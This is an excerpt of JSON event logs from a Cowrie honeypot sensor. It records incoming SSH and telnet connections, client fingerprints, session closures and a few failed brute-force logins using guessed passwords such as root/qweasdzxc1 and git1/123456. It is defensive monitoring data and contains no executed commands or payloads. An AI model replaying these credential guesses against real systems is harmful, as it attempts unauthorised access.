{"eventid":"cowrie.session.closed","duration":12.237858057022095,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:03.224727Z","src_ip":"146.251.246.43","session":"f55202647bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33044,"dst_ip":"10.17.0.5","dst_port":22,"session":"91833c0ba189","protocol":"ssh","message":"New connection: 161.248.189.72:33044 (10.17.0.5:22) [session: 91833c0ba189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:03.656746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:03.662386Z","src_ip":"161.248.189.72","session":"91833c0ba189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:03.906804Z","src_ip":"161.248.189.72","session":"91833c0ba189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc1","message":"login attempt [root/qweasdzxc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:04.914994Z","src_ip":"161.248.189.72","session":"91833c0ba189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49954,"dst_ip":"159.203.135.109","dst_port":23,"session":"9404ba48bbd6","protocol":"telnet","message":"New connection: 135.148.33.91:49954 (159.203.135.109:23) [session: 9404ba48bbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:05.032722Z"}
{"eventid":"cowrie.session.closed","duration":32.41366481781006,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:05.650470Z","src_ip":"45.58.127.90","session":"15f32f989621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:06.163859Z","src_ip":"161.248.189.72","session":"91833c0ba189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99596047401428,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:10.466264Z","src_ip":"135.148.33.91","session":"0c90c9d111d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02749180793762,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:11.672451Z","src_ip":"135.148.33.91","session":"f1fee3289370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53564,"dst_ip":"159.203.135.109","dst_port":23,"session":"20c7759243d9","protocol":"telnet","message":"New connection: 135.148.33.91:53564 (159.203.135.109:23) [session: 20c7759243d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:12.327846Z"}
{"eventid":"cowrie.session.closed","duration":34.75759482383728,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:13.729545Z","src_ip":"135.148.33.91","session":"035acafb6207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.517481565475464,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:14.684183Z","src_ip":"135.148.33.91","session":"dd48fa0ccc66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56282,"dst_ip":"159.203.135.109","dst_port":23,"session":"96f0c387b393","protocol":"telnet","message":"New connection: 135.148.33.91:56282 (159.203.135.109:23) [session: 96f0c387b393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:16.029075Z"}
{"eventid":"cowrie.session.closed","duration":37.05528473854065,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:16.492883Z","src_ip":"135.148.33.91","session":"e4c02e7d97f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.259912729263306,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:17.081338Z","src_ip":"135.148.33.91","session":"a7fd16b4dff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57098,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a78c45c0d5d","protocol":"telnet","message":"New connection: 135.148.33.91:57098 (159.203.135.109:23) [session: 3a78c45c0d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:17.475369Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60134,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccec59c4dd54","protocol":"telnet","message":"New connection: 135.148.33.91:60134 (159.203.135.109:23) [session: ccec59c4dd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:25.790786Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34456,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53cd6436055","protocol":"telnet","message":"New connection: 135.148.33.91:34456 (159.203.135.109:23) [session: f53cd6436055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:27.150208Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":29444,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9da7d854c92","protocol":"ssh","message":"New connection: 185.158.22.150:29444 (159.203.135.109:22) [session: a9da7d854c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:28.708248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:28.715377Z","src_ip":"185.158.22.150","session":"a9da7d854c92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:28.876087Z","src_ip":"185.158.22.150","session":"a9da7d854c92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e4r5t","message":"login attempt [user/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:29.554441Z","src_ip":"185.158.22.150","session":"a9da7d854c92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:30.720394Z","src_ip":"185.158.22.150","session":"a9da7d854c92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":36930,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e382c5e1d9f","protocol":"telnet","message":"New connection: 135.148.33.91:36930 (159.203.135.109:23) [session: 9e382c5e1d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:31.478418Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37546,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9341224b793","protocol":"telnet","message":"New connection: 135.148.33.91:37546 (159.203.135.109:23) [session: e9341224b793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:32.546455Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38838,"dst_ip":"159.203.135.109","dst_port":23,"session":"83bad2238b40","protocol":"telnet","message":"New connection: 135.148.33.91:38838 (159.203.135.109:23) [session: 83bad2238b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:34.934038Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40418,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ae7af61fac","protocol":"telnet","message":"New connection: 135.148.33.91:40418 (159.203.135.109:23) [session: d6ae7af61fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:37.982118Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":46512,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ec28ef5a033","protocol":"telnet","message":"New connection: 104.140.145.149:46512 (159.203.135.109:23) [session: 1ec28ef5a033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:39.718958Z"}
{"eventid":"cowrie.session.closed","duration":35.45760917663574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:40.490187Z","src_ip":"135.148.33.91","session":"9404ba48bbd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.61.122.8","src_port":11066,"dst_ip":"10.17.0.5","dst_port":23,"session":"08891abb6b4e","protocol":"telnet","message":"New connection: 37.61.122.8:11066 (10.17.0.5:23) [session: 08891abb6b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:41.588017Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44190,"dst_ip":"159.203.135.109","dst_port":23,"session":"f246fcf487e1","protocol":"telnet","message":"New connection: 135.148.33.91:44190 (159.203.135.109:23) [session: f246fcf487e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:43.930610Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44626,"dst_ip":"159.203.135.109","dst_port":23,"session":"f26894e89bb5","protocol":"telnet","message":"New connection: 135.148.33.91:44626 (159.203.135.109:23) [session: f26894e89bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:44.660496Z"}
{"eventid":"cowrie.session.closed","duration":35.350462675094604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:47.678181Z","src_ip":"135.148.33.91","session":"20c7759243d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.036876916885376,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:51.065873Z","src_ip":"135.148.33.91","session":"96f0c387b393","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25534176826477,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:51.730584Z","src_ip":"135.148.33.91","session":"3a78c45c0d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.596799612045288,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:54.184691Z","src_ip":"37.61.122.8","session":"08891abb6b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50674,"dst_ip":"159.203.135.109","dst_port":23,"session":"305fe0658428","protocol":"telnet","message":"New connection: 135.148.33.91:50674 (159.203.135.109:23) [session: 305fe0658428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:54.440231Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52664,"dst_ip":"159.203.135.109","dst_port":23,"session":"c078948f1a01","protocol":"telnet","message":"New connection: 135.148.33.91:52664 (159.203.135.109:23) [session: c078948f1a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:57.691490Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53312,"dst_ip":"159.203.135.109","dst_port":23,"session":"64068a018c2e","protocol":"telnet","message":"New connection: 135.148.33.91:53312 (159.203.135.109:23) [session: 64068a018c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:59.692425Z"}
{"eventid":"cowrie.session.closed","duration":34.85618710517883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:00.646824Z","src_ip":"135.148.33.91","session":"ccec59c4dd54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.910839319229126,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:01.060897Z","src_ip":"135.148.33.91","session":"f53cd6436055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54876,"dst_ip":"159.203.135.109","dst_port":23,"session":"595af44a4035","protocol":"telnet","message":"New connection: 135.148.33.91:54876 (159.203.135.109:23) [session: 595af44a4035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:01.187308Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55988,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c1b98b5a97f","protocol":"telnet","message":"New connection: 135.148.33.91:55988 (159.203.135.109:23) [session: 7c1b98b5a97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:03.440073Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":33116,"dst_ip":"10.17.0.5","dst_port":22,"session":"52d181606441","protocol":"ssh","message":"New connection: 161.248.189.72:33116 (10.17.0.5:22) [session: 52d181606441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:06.411219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:06.416307Z","src_ip":"161.248.189.72","session":"52d181606441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a98d094c392","protocol":"telnet","message":"New connection: 135.148.33.91:53902 (159.203.135.109:23) [session: 4a98d094c392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:06.637161Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:06.651995Z","src_ip":"161.248.189.72","session":"52d181606441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1212312121","message":"login attempt [root/1212312121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:07.625595Z","src_ip":"161.248.189.72","session":"52d181606441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58670,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c731ec55d4f","protocol":"telnet","message":"New connection: 135.148.33.91:58670 (159.203.135.109:23) [session: 0c731ec55d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:08.170933Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:08.864625Z","src_ip":"161.248.189.72","session":"52d181606441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.977619647979736,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:09.523955Z","src_ip":"135.148.33.91","session":"e9341224b793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730194091796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:10.449027Z","src_ip":"104.140.145.149","session":"1ec28ef5a033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52374839782715,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:11.002025Z","src_ip":"135.148.33.91","session":"9e382c5e1d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4302237033844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:12.412247Z","src_ip":"135.148.33.91","session":"d6ae7af61fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":40412,"dst_ip":"159.203.135.109","dst_port":22,"session":"c638c6ab5ff6","protocol":"ssh","message":"New connection: 185.158.22.150:40412 (159.203.135.109:22) [session: c638c6ab5ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:14.331799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:14.335823Z","src_ip":"185.158.22.150","session":"c638c6ab5ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:15.008199Z","src_ip":"185.158.22.150","session":"c638c6ab5ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.83","src_port":51930,"dst_ip":"10.17.0.5","dst_port":23,"session":"5230f3ca5f87","protocol":"telnet","message":"New connection: 198.235.24.83:51930 (10.17.0.5:23) [session: 5230f3ca5f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:15.444357Z"}
{"eventid":"cowrie.login.failed","username":"git1","password":"123456","message":"login attempt [git1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:15.689192Z","src_ip":"185.158.22.150","session":"c638c6ab5ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:16.854488Z","src_ip":"185.158.22.150","session":"c638c6ab5ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.91479516029358,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:24:17.848717Z","src_ip":"135.148.33.91","session":"83bad2238b40","protocol":"telnet"}
